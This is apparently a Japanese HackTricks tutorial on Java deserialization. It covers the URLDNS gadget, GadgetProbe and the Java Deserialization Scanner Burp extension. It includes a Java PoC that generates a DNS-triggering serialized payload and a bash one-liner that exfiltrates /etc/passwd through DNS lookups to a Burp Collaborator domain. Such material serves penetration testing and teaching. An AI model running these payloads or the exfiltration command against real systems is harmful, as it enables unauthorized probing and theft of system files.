# Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner {{#include ../../banners/hacktricks-training.md}} ## デシリアライズ時のDNSリクエスト クラス `java.net.URL` は `Serializable` を実装しており、これはこのクラスがシリアライズ可能であることを意味します。 ```java public final class URL implements java.io.Serializable { ``` このクラスには**奇妙な動作**があります。ドキュメントから:“**2つのホストは、両方のホスト名が同じIPアドレスに解決できる場合、同等と見なされます**”。\ そのため、URLオブジェクトが**`equals`**または**`hashCode`**の**いずれか**の**関数**を呼び出すたびに、**IPアドレス**を取得するための**DNSリクエスト**が**送信**されます。 **`hashCode`**関数を**URL**オブジェクトから**呼び出す**のは非常に簡単で、このオブジェクトをデシリアライズされる`HashMap`に挿入するだけで済みます。これは、`HashMap`の**`readObject`**関数の**最後**でこのコードが実行されるためです: ```java private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { [ ... ] for (int i = 0; i < mappings; i++) { [ ... ] putVal(hash(key), key, value, false, false); } ``` それは`HashMap`内のすべての値で`putVal`を**実行**します。しかし、より重要なのは、すべての値で`hash`を呼び出すことです。これは`hash`関数のコードです: ```java static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } ``` ご覧のとおり、**デシリアライズ**する際に**`HashMap`**の関数`hash`は**すべてのオブジェクト**で**実行され**、**`hash`**の実行中に**オブジェクトの`.hashCode()`が実行されます**。したがって、**URL**オブジェクトを**含む****`HashMap`**を**デシリアライズ**すると、**URLオブジェクト**は**`.hashCode()`を実行します**。 次に、`URLObject.hashCode()`のコードを見てみましょう: ```java public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; ``` ご覧のとおり、`URLObject`が`.hashCode()`を実行すると、`hashCode(this)`が呼び出されます。この関数のコードは次のとおりです: ```java protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); [ ... ] ``` `getHostAddress`がドメインに対して実行され、**DNSクエリを発行**しています。 したがって、このクラスは**悪用**されて**DNSクエリを発行**し、**デシリアライズ**が可能であることを**示す**ため、または**情報を抽出**するために使用できます(コマンド実行の出力をサブドメインとして追加できます)。 ### URLDNSペイロードコードの例 [ysoserialのURDNSペイロードコードはこちら](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)で見つけることができます。ただし、理解しやすくするために、ysoserialのものを基にした独自のPoCを作成しました: ```java import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.InetAddress; import java.net.URLConnection; import java.net.URLStreamHandler; import java.util.HashMap; import java.net.URL; public class URLDNS { public static void GeneratePayload(Object instance, String file) throws Exception { //Serialize the constructed payload and write it to the file File f = new File(file); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); } public static void payloadTest(String file) throws Exception { //Read the written payload and deserialize it ObjectInputStream in = new ObjectInputStream(new FileInputStream(file)); Object obj = in.readObject(); System.out.println(obj); in.close(); } public static void main(final String[] args) throws Exception { String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net"; HashMap ht = new HashMap(); // HashMap that will contain the URL URLStreamHandler handler = new SilentURLStreamHandler(); URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. // During the put above, the URL's hashCode is calculated and cached. // This resets that so the next time hashCode is called a DNS lookup will be triggered. final Field field = u.getClass().getDeclaredField("hashCode"); field.setAccessible(true); field.set(u, -1); //Test the payloads GeneratePayload(ht, "C:\\Users\\Public\\payload.serial"); } } class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } } ``` ### さらなる情報 - [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/) - 元のアイデアでは、commons collectionsペイロードがDNSクエリを実行するように変更されましたが、これは提案された方法よりも信頼性が低かったです。しかし、こちらがその投稿です: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) ## GadgetProbe [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe)をBurp Suite App Store (Extender)からダウンロードできます。 **GadgetProbe**は、サーバーのJavaクラスに**Javaクラスが存在するかどうか**を確認し、**脆弱性**があるかどうかを知ることができます。 ### どのように機能するか **GadgetProbe**は、前のセクションの**DNSペイロード**を使用しますが、DNSクエリを実行する**前に**、**任意のクラスをデシリアライズしようとします**。もし**任意のクラスが存在すれば**、**DNSクエリ**が**送信され**、GadgetProbeはこのクラスが存在することを記録します。もし**DNS**リクエストが**送信されなければ**、これは**任意のクラスが正常にデシリアライズされなかった**ことを意味し、したがってそれは存在しないか、**シリアライズ可能/悪用可能ではない**ということです。 GitHub内には、[**GadgetProbeにはいくつかのワードリスト**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists)があり、テスト用のJavaクラスが含まれています。 ![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../images/intruder4 (1) (1).gif>) ### さらなる情報 - [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe) ## Javaデシリアライズスキャナー このスキャナーはBurp App Store (**Extender**)から**ダウンロード**できます。\ **拡張機能**には**パッシブ**およびアクティブな**機能**があります。 ### パッシブ デフォルトでは、すべてのリクエストとレスポンスを**パッシブにチェック**し、**Javaシリアライズマジックバイト**を探し、見つかった場合は脆弱性警告を表示します: ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../images/image (765).png>) ### アクティブ **手動テスト** リクエストを選択し、右クリックして`Send request to DS - Manual Testing`を選択できます。\ 次に、_Deserialization Scanner Tab_ --> _Manual testing tab_内で**挿入ポイント**を選択し、**テストを開始**します(使用されるエンコーディングに応じて適切な攻撃を選択します)。 ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png) 「手動テスト」と呼ばれていますが、かなり**自動化されています**。それは自動的に**デシリアライズ**が**任意のysoserialペイロード**に**脆弱であるかどうか**をチェックし、ウェブサーバー上のライブラリを確認し、脆弱なものをハイライトします。**脆弱なライブラリ**を**チェック**するために、**Javas Sleeps**、**CPU**消費による**スリープ**、または前述のように**DNS**を使用することを選択できます。 **悪用** 脆弱なライブラリを特定したら、リクエストを_Exploiting Tab_に送信できます。\ このタブでは、再度**インジェクションポイント**を**選択**し、ペイロードを作成したい**脆弱なライブラリ**と**コマンド**を**記入**します。次に、適切な**攻撃**ボタンを押すだけです。 ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png) ### JavaデシリアライズDNSエクスフィルトレーション情報 ペイロードを次のように実行させます: ```bash (i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done) ``` ### さらなる情報 - [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/) {{#include ../../banners/hacktricks-training.md}}